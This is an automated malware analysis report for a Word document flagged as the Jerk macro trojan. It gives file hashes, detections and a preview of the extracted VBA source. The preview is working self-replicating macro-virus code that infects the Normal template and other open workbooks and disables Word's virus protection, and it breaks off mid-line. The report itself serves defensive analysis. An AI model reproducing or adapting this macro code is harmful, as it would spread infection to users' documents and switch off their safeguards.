Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7276f7a90ad56972…

MALICIOUS

Office (OLE)

52.5 KB Created: 2000-08-23 21:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5292e29af6800de0f2dfb566d116f58e SHA-1: d790f64abd6035853c193a951ebff2317e1c733b SHA-256: 7276f7a90ad569720bbba091fe557ebff8ceb362df0034a182fbcaa64158146f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, as indicated by the OLE_VBA_MACROS heuristic and the presence of the macros.bas file. The VBA code appears to be designed to spread to other workbooks using the GetObject call and potentially execute further malicious actions. ClamAV detections further confirm its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Jerk-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jerk-7
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37797 bytes
SHA-256: 6512ce43e60c2eee5ab5d019b7863de3e5800114a3ecc86eaec5d717c8cc82fd
Detection
ClamAV: Doc.Trojan.Jerk-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

' 09:08:05:  - ÷åòâåðã, 29 àïð 1999
' Þ. Âëàäèìèðîâ
'


' 02:43:46: PM - Thursday, 25 Feb 1999
' Data Dimensions, Inc.
'























Private Sub Workbook()

End Sub
Deactivate()









Private Sub Workbook_Deactivate()
On Error Resume Next
Const LVGJI = 1, SEULYH = True, EUAQKIZ = False, YMSVPZW = 0
Dim YTJGR, XNRALXSMP As String
Dim OPAWYDTZZBY, MCLMAPXPO As Integer
Dim JVCCZDVIIHCQCA As Boolean
XNRALXSMP = "ThisWorkbook"
YTJGR = Application.ThisWorkbook.VBProject.VBComponents.Item(LVGJI).CodeModule.Lines(1, Application.ThisWorkbook.VBProject.VBComponents.Item(LVGJI).CodeModule.CountOfLines)
Call LCPYRYPQ(YTJGR)
For OPAWYDTZZBY = LVGJI To Application.Workbooks.Count
JVCCZDVIIHCQCA = EUAQKIZ
For MCLMAPXPO = LVGJI To Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Count
If Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).CodeModule.CountOfLines = YMSVPZW Then
If Application.Workbooks.Item(OPAWYDTZZBY).Path <> "" And Application.Workbooks.Item(OPAWYDTZZBY).Saved = SEULYH And JVCCZDVIIHCQCA = EUAQKIZ Then JVCCZDVIIHCQCA = SEULYH
Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).CodeModule.InsertLines LVGJI, YTJGR
If Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).Name = XNRALXSMP Then
Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).CodeModule.ReplaceLine LVGJI * 33, "Private Sub Workbook_Deactivate()"
Else
Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).CodeModule.ReplaceLine LVGJI * 33, "Private Sub Worksheet_Deactivate()"
End If
End If
Next MCLMAPXPO
If JVCCZDVIIHCQCA = SEULYH Then Application.Workbooks.Item(OPAWYDTZZBY).Save
Next OPAWYDTZZBY
End Sub
Private Sub Document_Close()
On Error Resume Next
Const SEULYH = True, EUAQKIZ = False, YMSVPZW = 0, LVGJI = 1, SJZRQRAYXQV = wdFormatDocument, KCZYRNZEUEJJ = wdFormatTemplate, EYSLR = ":"
Dim JVCCZDVIIHCQCA, OXDLMOC, SGHYNCYLRCBDV, UXSET As Boolean
Dim ZFCIWTDSRYAT, CWTEZYOEYDW As Object
Dim TFSCITL, YTJGR As String
If Month(LVGJI * Now) > LVGJI * 2 + LVGJI * 3 And Day(LVGJI * Now) = 4 + LVGJI * 10 Then MsgBox "V guvax " & Application.UserName & " vf n ovt fghcvq wrex!", 0, "www.all.net"
Set ZFCIWTDSRYAT = ActiveDocument.VBProject.VBComponents.Item(LVGJI)
Set CWTEZYOEYDW = NormalTemplate.VBProject.VBComponents.Item(LVGJI)
Randomize
SGHYNCYLRCBDV = EUAQKIZ
UXSET = EUAQKIZ
If ZFCIWTDSRYAT.CodeModule.CountOfLines <> YMSVPZW Then SGHYNCYLRCBDV = SEULYH
If CWTEZYOEYDW.CodeModule.CountOfLines <> YMSVPZW Then UXSET = SEULYH
Options.VirusProtection = EUAQKIZ
If (SGHYNCYLRCBDV = SEULYH Xor UXSET = SEULYH) And (ActiveDocument.SaveFormat = SJZRQRAYXQV Or ActiveDocument.SaveFormat = KCZYRNZEUEJJ) Then
If SGHYNCYLRCBDV = SEULYH Then
OXDLMOC = NormalTemplate.Saved
YTJGR = ZFCIWTDSRYAT.CodeModule.Lines(LVGJI, ZFCIWTDSRYAT.CodeModule.CountOfLines)
Call UWCCEZFMDCAUB(YTJGR)
If Int(Rnd * 10 * LVGJI) = LVGJI * 7 Then Call TKJABLVJAZHWD(YTJGR)
Call UQCEF(YTJGR)
CWTEZYOEYDW.CodeModule.InsertLines LVGJI, YTJGR
If OXDLMOC = SEULYH Then NormalTemplate.Save
End If
TFSCITL = Mid(ActiveDocument.FullName, 2, LVGJI)
If UXSET = SEULYH And (TFSCITL = EYSLR Or ActiveDocument.Saved = EUAQKIZ) Then
JVCCZDVIIHCQCA = ActiveDocument.Saved
YTJGR = CWTEZYOEYDW.CodeModule.Lines(LVGJI, CWTEZYOEYDW.CodeModule.CountOfLines)
Call UQCEF(YTJGR)
ZFCIWTDSRYAT.CodeModule.InsertLines LVGJI, YTJGR
If JVCCZDVIIHCQCA = SEULYH Then ActiveDocument.Save
End If
End If
End Sub
Private Sub TKJABLVJAZHWD(ByRef YTJGR As String)
On Error Resume Next
Const CUECUDXPFKS = 48, MHXQTUVBJOZJEAY = 15, PERJPASPFQ = 5, LCAVGMOJMINKZP = 65, OEATCCZYRENHWJY = 90, LVGJI = 1, SEULYH = True, EUAQKIZ = Fal
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.